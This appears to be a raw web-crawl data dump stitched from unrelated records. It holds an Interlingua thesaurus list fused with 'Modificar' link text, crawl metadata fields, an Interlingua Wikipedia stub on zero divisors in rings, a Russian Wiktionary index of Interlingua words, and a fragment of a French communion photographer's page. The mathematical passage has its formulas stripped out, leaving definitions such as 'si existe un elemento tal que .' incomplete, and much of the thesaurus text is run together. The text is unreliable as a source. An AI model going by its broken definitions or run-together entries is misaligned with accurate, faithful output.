attestabileModificar attestabile(s) attestarModificar attestar de mal gustoModificar attestationModificar attestation de bon comportamentoModificar attestation de bon \/ bono comportamento attestation de bon conducta (moral)Modificar attestation de bona conducta (moral) attestation de un teste ocularModificar attestation de un(a) teste ocular attestation del medicoModificar attestation medicalModificar attestatorModificar atticModificar attico(s) \/ attica(s) AtticaModificar atticismoModificar atticoModificar attingerModificar attinger al etate de vinti-un annosModificar attinger a la etate de vinti-un annos attinger le fama tardivementeModificar attinger la fama tardivamente attinger le fastigio del gloriaModificar attinger le fastigio de la gloria attinger su paroxysmoModificar attinger su puncto culminanteModificar attinger un locoModificar attinger un nivelloModificar attinger un scopoModificar attingibileModificar attingibile(s) attingibilitateModificar attingimentoModificar attisamentoModificar attisarModificar attisar le focoModificar attisar le foco del discordiaModificar attisar le foco de la discordia attisar le iraModificar attisar la ira attisar le odioModificar attisatorModificar attisatorioModificar attitudeModificar attitude antisemiticModificar attitude antisemitica attitude antisportiveModificar attitude antisportiva attitude aprioristicModificar attitude aprioristica attitude arroganteModificar attitude comprehensibileModificar attitude comprensibileModificar attitude concilianteModificar attitude condemnabileModificar attitude contemplativeModificar attitude contemplativa attitude contestatariModificar attitude contestataria attitude cooperativeModificar attitude cooperativa attitude correcteModificar attitude correcta attitude crispateModificar attitude crispata attitude criticabileModificar attitude de protestationModificar attitude defensiveModificar attitude defensiva attitude digneModificar attitude digna attitude disinvolteModificar attitude disinvolta attitude egotistaModificar attitude equivocModificar attitude equivoca attitude exaltateModificar attitude exaltata attitude expectanteModificar attitude fatalistaModificar attitude fatalisticModificar attitude fatalistica attitude firmeModificar attitude hieraticModificar attitude hieratica attitude hostilModificar attitude imperativeModificar attitude imperativa attitude impertinenteModificar attitude inadmissibileModificar attitude innovatorModificar attitude innovatrice attitude irreconciliabileModificar attitude moderateModificar attitude moderata attitude naturalModificar attitude negativeModificar attitude negativa attitude neutralistaModificar attitude neutralisticModificar attitude neutralistica attitude neutreModificar attitude neutra attitude non-conformistaModificar attitude non-interventionistaModificar attitude optimistaModificar attitude phlegmaticModificar attitude phlegmatica attitude polemicModificar attitude polemica attitude positiveModificar attitude positiva attitude presumptuoseModificar attitude presumptuosa attitude protestatariModificar attitude protestataria attitude provocanteModificar attitude reservateModificar attitude reservata attitude resoluteModificar attitude resoluta attitude rigoristaModificar attitude sectariModificar attitude sectaria attitude subjectivistaModificar attitude subjectivisticModificar attitude subjectivistica attitudinalModificar attitudinal(es) attractionModificar attraction adhesiveModificar attraction adhesiva attraction capillarModificar attraction de feriaModificar attraction de kermesseModificar attraction de un magneteModificar attraction diabolicModificar attraction diabolica attraction gravitationalModificar attraction magneticModificar attraction magnetica attraction molecularModificar attraction terrestreModificar attraction touristicModificar attraction touristica attractionesModificar attractiveModificar attractivo(s) \/ attractiva(s) attractivitateModificar attrahenteModificar attrahente(s) attraherModificar attraher capitalModificar attraher le attentionModificar attraher la attention attraher le attention del passantesModificar attraher la attention de los passantes attraher le discontentamento de un personaModificar attraher le discontentamento de una persona attraher le discontento de un personaModificar attraher le discontento de una persona attraher le inimico in un imboscadaModificar attraher le inimico in una imboscada attraher nove investimentosModificar attraher novos investimentos attraher tote le reguardosModificar attraher totos los reguardos attrappaguttasModificar attrappamuscasModificar attrapparModificar attrappar avesModificar attrappar facilemente le grippeModificar attrappar facilemente la grippe attrappar le furModificar attrappar le robatorModificar attrappar piscesModificar attrappar un catarrhoModificar attrappar un contraventionModificar attrappar una contravention attrappar un contravention pro un infraction al codice del viaModificar attrappar una contravention pro una infraction al codice de la via attrappar un contravention pro un infraction al traffico del viaModificar attrappar una contravention pro una infraction al traffico de la via attrappar un maladiaModificar attrappar una maladia attrappar un rheumaModificar attrappar una rheuma attrappar un robatorModificar attribuerModificar attribuer importantia a un cosaModificar attribuer importantia a una cosa attribuer le culpa a un personaModificar attribuer la culpa a una persona attribuer le responsabilitate a un personaModificar attribuer la responsabilitate a una persona attribuer multe autoritate aModificar attribuer multa autoritate a attribuer poteres supernatural a un personaModificar attribuer poteres supernaturales a una persona attribuer privilegios a un functionModificar attribuer privilegios a una function attribuer se un cosaModificar attribuer se una cosa attribuer un accidente a un personaModificar attribuer un accidente a una persona attribuer un premioModificar attribuer un roloModificar attribuibileModificar attribuibile(s) attributionModificar attribution de creditosModificar attribution de un premioModificar attribution de un subsidioModificar attribution de un subventionModificar attribution de una subvention attributiveModificar attributivo(s) \/ attributiva(s) attributoModificar attristamentoModificar attristarModificar attriteModificar attrito(s) \/ attrita(s) attritionModificar attruppamentoModificar attruppar (se)Modificar atypiaModificar atypicModificar atypico(s) \/ atypica(s) atypicitateModificar au pair (F)Modificar au revoir (F)Modificar aubade (F)Modificar auberginaModificar aubrietiaModificar auctionModificar auction autumnalModificar auction de fructosModificar auction de ovosModificar auction de pelliciasModificar auctionarModificar auctionatorModificar auctor intellectualis (L)Modificar aucubaModificar audaceModificar audace(s) audaciaModificar audacioseModificar audacioso(s) \/ audaciosa(s) audacitateModificar audibileModificar audibile(s) audibilitateModificar audientiaModificar audientia attenteModificar audientia attenta audientia attentiveModificar audientia attentiva audientia numeroseModificar audientia numerosa audientia particularModificar audientia personalModificar audientia privateModificar audientia privata audioModificar audio adj inv audiocassettaModificar audiofrequentiaModificar audiogrammaModificar audiologiaModificar audiologicModificar audiologico(s) \/ audiologica(s) audiologistaModificar audiologoModificar audiometriaModificar audiometricModificar audiometrico(s) \/ audiometrica(s) audiometroModificar audiometro semiautomaticModificar audiophonoModificar audioprotheseModificar audioprothesistaModificar audiovisualModificar audiovisual(es) audirModificar audir le confessionModificar audir la confession audir le testesModificar audir los \/ las testes audir per casualitateModificar audir un cosa per le radioModificar audir una cosa per le radio auditaModificar auditionModificar audition binauralModificar audition de testeModificar audition del testeModificar audition del \/ de_la teste audition publicModificar audition publica audition testimonialModificar auditiveModificar auditivo(s) \/ auditiva(s) auditoModificar auditorModificar auditor attenteModificar auditor attento auditor attentiveModificar auditor attentivo auditor de concertoModificar auditor de radioModificar auditoriModificar auditorio(s) \/ auditoria(s) auditorioModificar auditriceModificar auditrice [la AugiasModificar augiteModificar augite [la augmentabileModificar augmentabile(s) augmentarModificar augmentar al maximoModificar augmentar de precioModificar augmentar in intensitateModificar augmentar in prestigioModificar augmentar le altorModificar augmentar le doseModificar augmentar la dose augmentar le durataModificar augmentar la durata augmentar le durationModificar augmentar la duration augmentar le gasModificar augmentar le impostosModificar augmentar los impostos augmentar le locationModificar augmentar la location augmentar le precio(s)Modificar augmentar le_precio \/ los_precios augmentar le precio usque al extremoModificar augmentar le pressionModificar augmentar la pression augmentar le productionModificar augmentar la production augmentar le rhythmoModificar augmentar le salariosModificar augmentar los salarios augmentar le tarifaModificar augmentar la tarifa augmentar le velocitateModificar augmentar la velocitate augmentar progressivementeModificar augmentar progressivamente augmentar su cognoscentiasModificar augmentar sus cognoscentias augmentar su cognoscimentosModificar augmentar sus cognoscimentos augmentar su saperModificar augmentar su vocabularioModificar augmentateModificar augmentato(s) \/ augmentata(s) augmentationModificar augmentation de capitalModificar augmentation de \/ del circulationModificar augmentation de \/ de_la circulation augmentation de intensitateModificar augmentation de pesoModificar augmentation de \/ del pressionModificar augmentation de \/ de_la pression augmentation de salario disguisateModificar augmentation de salario disguisata augmentation del consumoModificar augmentation del contributionModificar augmentation de la contribution augmentation del impostosModificar augmentation de los impostos augmentation del populationModificar augmentation de la population augmentation del preciosModificar augmentation de los precios augmentation del premioModificar augmentation del productionModificar augmentation de la production augmentation del productivitateModificar augmentation de la productivitate augmentation del salario(s)Modificar augmentation del_salario \/ de_los_salarios augmentation del salarios disguisateModificar augmentation de los salarios disguisata augmentation del tarifaModificar augmentation de la tarifa augmentation del trafficoModificar augmentation del venditasModificar augmentation de las venditas augmentation gradual del difficultatesModificar augmentation gradual de las difficultates augmentation percentualModificar augmentation ponderalModificar augmentation salarial (general)Modificar augmentation tarifariModificar augmentation tarifaria augmentativeModificar augmentativo(s) \/ augmentativa(s) augmentativoModificar augmentatorModificar augmentoModificar augmento considerabileModificar augmento de capitalModificar augmento de \/ del circulationModificar augmento de \/ de_la circulation augmento de intensitateModificar augmento de pesoModificar augmento de preciosModificar augmento de \/ del pressionModificar augmento de \/ de_la presssion augmento de salarioModificar augmento de temperatura adiabaticModificar augmento de temperatura adiabatica augmento de territorioModificar augmento del consumoModificar augmento del consumptionModificar augmento de la consumption augmento del contributionModificar augmento de la contribution augmento del discontoModificar augmento del impostosModificar augmento de los impostos augmento del populationModificar augmento de la population augmento del preciosModificar augmento de los precios augmento del premioModificar augmento del productionModificar augmento de la production augmento del productivitateModificar augmento de la productivitate augmento del salario(s)Modificar augmento del_salario \/ de_los_salarios augmento del tarifaModificar augmento de la tarifa augmento del trafficoModificar augmento del venditasModificar augmento de las venditas augmento gradual del difficultatesModificar augmento gradual de las difficultates augmento percentualModificar augmento ponderalModificar augmento salarial (general)Modificar augmento tarifariModificar augmento tarifario augurabileModificar augurabile(s) auguralModificar augural(es) augurarModificar augurationModificar auguratorModificar augureModificar augure [le augurioModificar augusteModificar augusto(s) \/ augusta(s) augusteeModificar augusteo(s) \/ augustea(s) augustianismoModificar augustinModificar augustino(s)\/ augustina(s) augustinianModificar augustiniano(s) \/ augustiniana(s) augustinianoModificar augustinismoModificar AugustinoModificar AugustoModificar augustoModificar augusto (mense)Modificar aulaModificar aulicModificar aulico(s) \/ aulica(s) auraModificar auralModificar aural(es) aurarModificar","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/interlingua.fandom.com\/wiki\/Thesauro_aqua","date":"2020-02-18T09:31:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143646.38\/warc\/CC-MAIN-20200218085715-20200218115715-00422.warc.gz","language":"ina","language_score":0.5251119733,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"ina_Latn_score\": 0.525111973285675, \"por_Latn_score\": 0.05399840325117111, \"lvs_Latn_score\": 0.040294405072927475, \"swe_Latn_score\": 0.030772747471928596, \"mlt_Latn_score\": 0.02656865492463112, \"cat_Latn_score\": 0.021429244428873062, \"lat_Latn_score\": 0.02032473497092724, \"fin_Latn_score\": 0.017485806718468666, \"ast_Latn_score\": 0.017240550369024277, \"vec_Latn_score\": 0.01685151271522045, \"ile_Latn_score\": 0.015517346560955048, \"cot_Latn_score\": 0.015476549044251442, \"dan_Latn_score\": 0.0147561552003026, \"spa_Latn_score\": 0.014286513440310955, \"nld_Latn_score\": 0.013415505178272724, \"lit_Latn_score\": 0.012562591582536697, \"oci_Latn_score\": 0.011869009584188461, \"ron_Latn_score\": 0.011343355290591717, \"ido_Latn_score\": 0.010782509110867977}","num_words":22905,"character_repetition_ratio":0.245,"word_repetition_ratio":0.003,"special_characters_ratio":0.112,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.586,"perplexity_score":5857.0,"cluster_detection":-1} +{"text":"- Un divisor de zero a sinistre es un elemento de un anello, si existe un elemento tal que .\n- Un divisor de zero a dextre es un elemento de un anello, si existe un elemento tal que .\n- Un divisor de zero es un elemento que es un divisor de zero a sinistre o a dextre.\nSi iste anello es commutative, ille tres definitiones concorda. Un anello commutative sin divisores de zero con un elemento neutre es un anello de integritate (o dominio de integritate).\nLe anello del numeros integre es sin divisores de zero, durante que le anello con le addition e multiplication usual ha le divisores e , perque .\nIn plus, le anello del matrices real ha le divisores de zero e , perque","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/ia.wikipedia.org\/wiki\/Divisor_de_zero","date":"2020-08-03T18:44:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735823.29\/warc\/CC-MAIN-20200803170210-20200803200210-00046.warc.gz","language":"ina","language_score":0.9976382852,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.9976382851600647}","num_words":134,"character_repetition_ratio":0.13,"word_repetition_ratio":0.128,"special_characters_ratio":0.218,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":34.2,"cluster_detection":-1} +{"text":"Индекс:Интерлингва\/A\nПерейти к навигации Перейти к поиску\n|Индекс, составляемый вручную|\nAachen abaca abaco abandonamento abat-jour abattimento abattite abattitor abbate abbatessa abbatial abbordo abbreviate abbreviation abbreviative abbreviato abbreviator abbreviatura abdicatori abdominose abduction aberrar abhorrente abhorribile abhorribilemente abhorrimento abietin abiogenese abiogenesis abiogenetic abiotic Abkhaso ablative ablativo abluer ablution abnegation abolimento abolitionismo abolitionista abominabilemente abortamento abrasivo abrogative abrogator abrumper abruptemente abscinder abscissa absentismo absentista absinthic absinthina absinthio absinthismo absolutemente absolutismo absolutista absolutor absorbente absorbentia absorptive abstentionista abstinente abstinentia abstractemente abstracto abstruder abstrusemente abuccamento abundantemente abusator abyssal abyssin Abyssinia abyssino acacia academico academismo acantha acanto acapnia accelerando accelerate acceleration accelerator accelerometro accendalia accendibile accendimento accensibile accensibilitate accento accentuate accentuation acceptabile acceptabilitate acceptation accessori accessorio accidental accidentalmente accidentia accisia acclamator acclaramento acclarar acclimatation accollada accollar accommodabile accommodamento accommodator accopulamento accopulante accopulate accordamento accordante accordar accordatura accordionista accostabile accostamento accostar accostate accostumantia accostumar accostumate accostumation accreditar accreditation accrescer accrescimento accular accumulamento accumular accumulate accumulation accumulator accurer accurtamento accurtar accurtate accusabile accusabilitate accusamento accusar accusate accusation accusativo accusatori acellular acerbar acerbitate acere acetabulo acetal acetamido acetato acetic acetificar acetification aceto acetona acetose acetylen achromate achromatic achromatisar achromatisation achromatismo achromatopsia acicula acicular acidficar acidificabile acidificar acidification acidimetro aciditate acido acido phenic acido phosphorose acidophile acidular acidule acierage acierar acieration acieratura acieria aciero acologia acordonar acoro acquesto acquiescente acquiescentia acquiescer acquiritor acquisitor acre acribia acritate acrobata acrobatia acrobatic acrobaticamente acrobatismo acronymo acropole acrostichio acryl acrylic action actionabile actionar actionero actionista activar activation active activemente activista activitate activo acto actrice actualitate actualitates actualmente actuar actuarial actuariato actuario actuation aculeate aculeo acuminar acuminate acumine acupunctura acupuncturar acustic acustica acusticamente acutangular acutangule acute acutemente acutessa acutiamento acutiar acutiator adagio adamic adaptabile adaptabilitate adaptar adaptation addendo addendum adder addition additional additionalmente additionar additionate additive additivitate addormir addormite adducer adduction adductor aden adenitis adenographia adenoide adenoma adenose adepto adequar adequate adequatemente adequation adherente adherentia adherer adhesion adhesive adhesivo adiabatic adipe adipocera adipose adiposis adipositate adir adition adito adjacente adjacentia adjacer adjectival adjectivalmente adjective adjectivo adjudicatario adjudicate adjudication adjudicative adjudicator adjuncte adjunction adjunctive adjuncto adjunger adjurar adjuration adjustabile adjustage adjustamento adjustar adjustator adjutante adjutar adjutor adjuvante adjuvar administrabile administrar administrate administration administrative administrator admirabile admiral admiralato admiralitate admirar admirate admiration admirative admirator admiratrice admiscer admissibile admissibilitate admission admittite admixtion admoner admonestar admonestation admonition admonitor admonitori adoculamento adocular adolescente adolescentia adolescer adonico adonio adoptabilitate adoptar adoptator adoption adoptive adorabile adorabilitate adorate adornamento adornator adrenal adrenalina adressar adressario adriatic Adriatico adular adulation adulator adulatori adulciamento adulciar adulte adultera adulterar adulteration adulterator adulterin adulterio adultero adulterose adulto adumbrar adumbration adurer aduste adustion advenimento advenir adventicie advento adverbial adverbio adversar adversario adversative adverse adversitate advertente advertentia adverter advertimento advertir advocar advocato adyname adynamia adynamic aer aerage aerar aeration aere aeree aerificar aerification aeriforme aerobie aerobus aerodromo aerodynamic aerodynamica aeroglissator aerographia aerolinea aerolithic aerolitho aerologia aeromechanica aerometria aerometro aeronauta aeronautic aeronautica aeronave aerophobia aeroporto aerospatio aerostatic aerostatica aerostato affabile affabilitate affaire affamar affamate affamator affectabile affectar affectate affectation affectibile affectibilitate affection affectionar affectionate affective affecto affectuose afficer affidavit affiger affilar affilate affilatoria affiliar affiliation affin affinamento affinar affinator affinitate affirmar affirmation affirmativa affirmative affirmator affixar affixo afflicte affliction afflictive affliger afflixtion affloramento affluente affluentia affluer affluxo affollamento affollar affrontamento affrontator afghan Afghanistan Africa african africano agata ager agglomerar agglomerato agglutinar agglutination agglutinative aggrandimento aggravamento aggravation aggravator aggregar aggregation aggregato aggresivemente aggressive aggrupamento aggrupar aggrupate aggrupation aggruppar agibile agile agilitate agiotage agiotar agiotator agitation agitator agno agnostic agnosticismo agnostico agon agonia agonisante agonisar agonista agora agoraphobe agoraphobia agoraphobo agradabile agradabilemente agradamento agradar agrari agreste agricola agricole agricultor agricultura agricultural agrimensor agrimensura agro agronomia agronomic agronomo aguerrimento aguerrir agulia agulietta aigrette aira ajornamento ajornar akkadian al ala Alabama alabastrite alabastro alacre alacritate alarma alarmante alarmista Alaska alate alba albanese Albania albaniano albatros albe albergamento albergar albergero albinismo albino albricoc albricochiero album albumina albumine albuminoide albuminose albuminuria alca alcalde alcali alcalimetro alcalin alcalinitate alcalino alcalisar alcalisation alcaloide alce alchimia alchimic alchimista alco alcohol alcoholic alcoholico alcoholisar alcoholisation alcoholismo alcova alcun alcuna alcuno aleatori alerta alerte aletta aleut aleutic alexandrian alexandrino alfil alga algebra algebraic algebric algebrista alger Algeria algerian algeriano algesia algo algometria algometro algorithmic algorithmicamente algorithmo alias alibi alibile alibilitate alicubi alicun alicuna alicuno alie alien alienabile alienabilitate alienar alienatario alienate alienation alienator alienismo alienista alimentar alimentari alimentation alimentator alimento alimentose alineamento alinear alineate aliqua aliquando aliquante alique aliquot alisee aliseo alizari alizarina allactamento allactar allargamento allargar allargate allargation allectar allectate allee allegar allegation allegoria allegoric allegorisar allegorisation allegorisator allegorista allegrar allegre allegremente allegressa allegretto allegro allergia allergic allerta allertar allerte alleviar alleviation alleviator alliantia alliar alliate alliato alligar alligato alligator allio alliterar alliteration allocate allocation allocution allongamento allopathe allopathia alloquer allotropia allotropo alluder allusion allusive alluvial alluvion almanac almosna almosneria almosnero almosniera aloda alora Alpes alpestre alpha alphabetic alphabeticamente alphabetisar alphabetisation alphabeto alphanumeric alpin alpinismo alpinista alquando Alsatia alsatian alsatiano alsi Altai alterar alteration altercar altercation altere altere vice altere vices alteremente alteres alternante alternar alternate alternation alternativa alternative alterne alterubi altessa altiamento altiar altimetro altiplano altisonante altissime altitude alto altoparlator altor altruismo altruista altura alume alumna alumno alveo alveolari alveolo amabile amabilitate amalgama amalgamar amalgamation amalgamator amandola amandoliero amante amar amarage amarisar amaritude amassamento amassar amassator amate amateur amator amatori amazonie ambassada ambassator ambe ambes ambidextere ambidextre ambiental ambientalista ambiente ambigue ambiguitate ambir ambition ambitiose ambito ambivalente ambivertito amblyopia ambra ambrosia ambrosie ambrosio ambulada ambulante ambulantia ambular ambulatori ambulatura ameba amebic ameliorar ameliorate amenitate America America Central America del Nord America del Sud America Latin american americanisar americanismo americano amethysto amic amica amicabile amicabilitate amical amicalmente amicar amicitate amico amido amidogeno amino aminoacido aminophenol amita ammonal ammoniac ammoniacal ammoniaco ammonificar ammonification ammonite ammonium ammunition amnesia amnestia amnestiar amnestic amollimento amollir amonta amontar amor amoral amoralismo amoretto amorose amorositate amorphe amorphia amorphismo amortimento amortir amortisar amortisation amover amovibile amovibilitate amperage ampere amphibie amphibio amphibiologia amphitheatral amphitheatro amphora ample amplexo ampliar ampliate ampliation amplificar amplification amplificative amplificator amplissime amplitude ampulla amputar amputation Amsterdam amuleto amusamento amusante amusar amylo anabaptismo anabaptista anacardio anachrone anachronic anachronisar anachronismo anaconda anacreonte anaerobie anaerobio anagramma anal analgesia analgetic analgia analgic analoge analogia analogic analogo analphabete analphabetic analphabetismo analphabeto analysar analysator analyse analysta anarchia anarchic anarchismo anarchista anarchosyndicalismo anarchosyndicalista anate anathema anathematisar anatolian anatom anatomista ancestral ancestria ancianitate anciano ancora ancora plus ancorage ancorar Andalucia andaluse andaluso Andorra andorran andr androgynia androgyno androide androphobia anecdota anecdotic anecdotista anellar anemia anemic anemo anemographia anemographic anemographo anemologia anemometria anemometric anemometro anemone anemophilia anemophobia anemoscopio anesthesia anesthesiar anesthetico anetho angelic angelica angelus angio angiographia angiologia angiosperma Anglaterra anglese anglican anglicanismo anglicano anglicisar anglicisate anglicismo anglo angloamerican angloamericano anglocatholic anglocatholico anglomania anglomano angloparlante anglophile anglophilo anglophobe anglophobia anglophobo anglophone anglophono anglos anglosaxone Angola angue anguilla anguin anguinose angular angularitate angulose angustia angustiar angustiose anhelante anhelar anhelation anhydrite anil anilina animadversion animadverter animalculo animalesc animalisar animalisation animalitate animar animate animation animator animismo animista animo animositate anion anis anisar annal annecter annexar annexate annexion annexo annidamento annidar annihilar annihilation anniversari anniversario anno anno currente anno domini anno passate anno post anno annoctar annon annos retro annotar annotation annotator annual annualmente annuario annue annuitate annular annulation annullar annullative annunciar annunciator annuncio ano anodic anodo anomale anomalia anonyme anonymitate anormal anormalitate anque ansa ansere antagonisar antagonista antagonistic antarctic antarctica ante antea antebracio antecamera anteceder antecessor antedata antedatar antediluvian antefixa anteheri antemeridian antemural antenatal antenna antepenultima antepenultime anteponer anterior anterioritate anteriormente antesala anthelminthico anthocyanina anthographia anthologia anthologista anthrace anthracen anthracite anthracometro anthraquinon anthropogenese anthropogenesis anthropoide anthropologia anthropologic anthropologista anthropologo anthropometria anthropometric anthropomorphe anthropomorphismo anthropomorphista anthropophage anthropophagia anthropophago anthroposophe anthroposophia anthroposophic anthroposopho antiaeree antiasthmatic antibiotico anticatholic antichristian anticipar anticipatemente anticipation anticlerical anticlericalismo anticlimax anticonception anticonceptional anticonstitutional anticorpore anticyclon antidotar antidoto antifascista antiinflationari antilope antimonio antinational antinomia antinomio antinomismo antipapa antipathetic antipathia antipathic antiperistase antiphona antiphonario antiphrase antipode antipodes antipodic antiqualia antiquar antiquario antiquate antique antiquitate antiquo antireligiose antiscorbutic antisemita antisemitic antisemitismo antisepsis antiseptic antiseptico antisocial antispasmodic antisymmetria antisymmetric antithese antitoxina antiviral antologia antonyme antonymia antonymo anular anuletto anulo anxie anxietate anxiose aorta aortic apartheid apathia apathic ape apena apennin apepsia aperibottilias aperiente aperilattas aperiodic aperiodicitate aperite aperitive aperitivo aperitor apertabile aperte apertemente apertura aphasia aphasic aphone aphonia aphonic aphorisar aphorismo aphorista aphoristic aphrodisiac aphrodisiaco aphrodite aphroditic apiario apice apicula apiculario apicultor apicultura apocalypse apocalyptic apocryphe apocrypho apogee apogeo apolitic apolline apologetica apologia apologista apologo apophysis apoplectic apoplexia apostasia apostata apostolato apostolicitate apostrophar apostrophe apostropho apotheca apothecario apothema apotheosis appaciabile appaciamento appaciar appaciator apparar apparato apparentar apparente apparentemente apparentia apparer apparition appartamento appartar appelate appellante appellar appellate appellativo appender appendice appendicectomia appendicitis appendicula appendicular apperception apperciper appertinente appertinentia appertiner appestar appestate appetente appetentia appeter appetibile appetitive appetito applanamento applanar applattar applattate applauder applauditor applauso applicabile applicabilitate applicar applicate application appoiate appoio apponer apportar apportionamento apportionar apposite apposition appreciabile appreciamento appreciar appreciation appreciator apprehender apprehensibile apprehensibilitate apprehension apprehensive apprender apprendimento apprension apprentissage apprentisse apprestar appresto approbabile approbar approbation approbative approbator approbatori approchabile approchar approche approfundamento approfundar approfundite appropriabile appropriar appropriate appropriation approvisionamento approvisionar approximar approximate approximation approximative approximativemente appunctamento appunctar appunctate appuramento appurar april apriorismo apriorista aprioristic aprovisionar apsidal apside aptar apte aptitude apud aqua aquamarin aquamarina aquanauta aquar aquardente aquarella aquarellista aquario aquas aquatic aquatile aquatinta aqueducto aquee aquelle aquello aquesto aquestos aqui aquiero aquila aquilegia aquilin aquose aquositate arabe arabesco Arabia arabic arabile arabismo arabista arachide arachidic arameic arameo aranea arar arator aratori aratro aratura arbitrage arbitramento arbitrar arbitrari arbitrarietate arbitrarimente arbitration arbitrator arbitro arbore arboreal arboree arborescente arborescentia arboreto arboretto arborisar arborisate arborisation arborista arbusto arcada arcadia arcadian arcan arcar archaic archaisar archaismo archaista archangelo archeologia archeologic archeologo archero archetto archetypo archidiacono archiducal archiducato archiduce archiducessa archiepiscopal archiepiscopato archiepiscopo Archimedes archimedian archipelago archipresbytero archiprestre architecto architectonic architectonica architectura architectural architrave archival archivamento archivar archivisar archivista archivolta archonte arcion arco arcoballista arctic ardente arder ardesia ardesiera ardesiero ardimento arditura ardor ardorose ardorosemente ardue arduitate are area arena arenacee arenamento arenar arenari arenario arenero arenose arenositate argentano argentar argentate argentator argentee argenteria argentero argentifere argentin Argentina argentinian argentino argento argilla argillaria argillose argot argotic arguer arguibile argumentar argumentation argumentative argumento argute argutia argutiar argutiose argyroneta aria Ariadna aride ariditate arietar arietari arietation ariete arietta ariose arioso aristocrate aristocratia aristocratic Aristotele aristotelic aristotelismo arithmetic arithmetica arithmeticamente arithmetico arithmomantia arithmometro Arizona Arkansas arlequin arlequinada arma armamento armar armatura armea Armenia armeniaca armenian armenie Armenio armero armistitio aromate aromatisar aromatisation arpeggio arquebuse arquebusero arrangiamento arrangiatori arrentamento arrestato arretrate arretrato arrha arrivismo arrivista arriviste arrogantemente arrogation arrotundamento arsenal arsenical arsenite arte artefacto arteria arterial arteriosclerosis arteriotomia artesian arthritic arthriticamente arthritis arthritismo arthropode arthropodo artichoc articulabile articular articulate articulation articulista artifice artificial artificialmente artificio artificiose artificiosemente artillar artilleria artillerista artisaneria artisano artistic artisticamente arya aryan aryano asbesto ascendente ascendentia ascender ascensional ascensionista ascensor ascese asceta ascetic asceticamente ascetismo ascolta ascoltamento ascoltar ascoltator ascorbic ascriber ascription asepsis aseptic aseptico asexual Asia asiatic asiatico asineria asinero asinin asininitate asparago aspecto asperar aspere asperemente asperger asperitate aspersion aspersorio asphaltar asphaltate asphalto asphyxiar aspic aspirante aspirar aspiration aspirator aspirina asplenio assalir assalitor assaltar assaltate assaltator assalto assassinamento assassination assassinato assassinator assassino assatis asse assecurantia assecuration assecurator assediar assediator assedio assemblar assemblate assyria Astrakhan astral astriction astrictive astringente astringentia astringer astro astrolabio astrolatria astrologia astrologic astrologo astronauta astronautica astronave astronomia astronomic astronomo astrophotographia astrophotographic astrophysic astrophysica astute astutia Aswan asylo asymmetre asymmetria asymmetric asymmetricamente asymptote asymptotic asymptoticamente atavic atavismo atavista atavistic atavisticamente atavo ataxia atele atettar athee atheismo atheista Athena athenas atheo athleta athletic athletica athletismo atlante atlantic atlas atmosphera atmospheric atmosphericamente atollo atomari atomic atomicitate atomisar atomismo atomista atomo atonalismo atone atonic atrabile atrabiliari atroce atrocemente atrocitate atrophe atrophia atrophiar atrophic attaccamento attaccar attache attemperar attendente attender attentar attentato attentatori attente attentemente attentissime attentive attentivemente attenuante attenuar attenuation atterrage atterrar attestar attestation attestator attic attinger attingimento attitude attraction attractive attractivemente attractivitate attrahente attraher attrappar attribuer attribuite attribution attributive attributo attristar attrite attrition attruppamento attruppar auction auctionar auctionator audace audacemente audacia audaciose audibile audibitate audientia audio audiometro audir audita audite audition auditive audito auditor auditori auditorio augmentar augmentate augmentation augmentative augmentator augmento augurar augure augurio auguste augustemente augustinianismo Augustino augusto aura aural aurar aurate aure auree aureola aureolar auricula auricular aurifere aurificar aurification aurifice auriforme auripelle aurista auro aurora auspice auspicio austenitic auster austeritate austral Australasia Australia australian australiano Austria austriac austriaco austro austrohungare Austrohungaria aut autarchia autarchic authentic authenticamente authenticar authentication authenticitate authorisar auto autobiographia autobiographic autobus autocar autochthone autochthonia autochthono autoclave autocodice autocorrelation autocrate autocratia autocratic autocraticamente autodafe autodefensa autodetermination autodidacte autodidactic autodidacto autodromo autographia autographiar autographic autographo autogyro autoinstruction autoista automate automatic automaticamente automaticitate automatisar automatisation automatismo automato automobile automobilismo automobilista automorphe automorphismo autonome autonomemente autonomia autonomic autonomicamente autoparco autopista autopsia autorato autoregression autorisar autorisate autorisation autoritari autoritates autoritatismo autostop autostrata autostudio autosustenente autosustenentia autumnal autumno auxiliar auxiliator ava aval avalanche avalisar avalista avantage avantagiar avantal avantiamento avantiata avantiate avaria avaritia avaritiose avaro ave avellana avellaniero aveller avena aventurar aventurero avenue averar avergoniar avergoniate aversion averter aviar aviaria aviario aviarista aviation aviator aviatrice avicinar avicultura avide avidia aviditate avinar avinate avion avisar avisate aviso avivamento avivar avo avocatiero avocato avoirdupois avulsion avuncular avunculo axe axial axilla axillari axioma axiomatic axiomatica axiomaticamente axiomatisation axonometria axonometric axungia azalea Azerbaijan aztec azur azurato azuro","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/ru.wiktionary.org\/wiki\/%D0%98%D0%BD%D0%B4%D0%B5%D0%BA%D1%81:%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BB%D0%B8%D0%BD%D0%B3%D0%B2%D0%B0\/A","date":"2021-05-17T11:05:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243992159.64\/warc\/CC-MAIN-20210517084550-20210517114550-00130.warc.gz","language":"ina","language_score":0.8311136961,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.8311136960983276, \"lat_Latn_score\": 0.038602206856012344, \"eng_Latn_score\": 0.022412190213799477}","num_words":4649,"character_repetition_ratio":0.026,"word_repetition_ratio":0.0,"special_characters_ratio":0.1,"stopwords_ratio":0.023,"flagged_words_ratio":0.0,"lang_id_score":0.833,"perplexity_score":12887.9,"cluster_detection":-1} +{"text":"Scroll to Content ParticuliersBaptême Play Pause Unmute Mute23photographe evenementielphotos de communionphotographe communionphotos de communioncommunion photographephotos de communionphotos de communionphotos evenementiel de communionphotos de communionphotos de communionphotos de communionphotos de communioncommunion photographephotos de communionphotos de communionphotos de communionphotos de communionphotos de 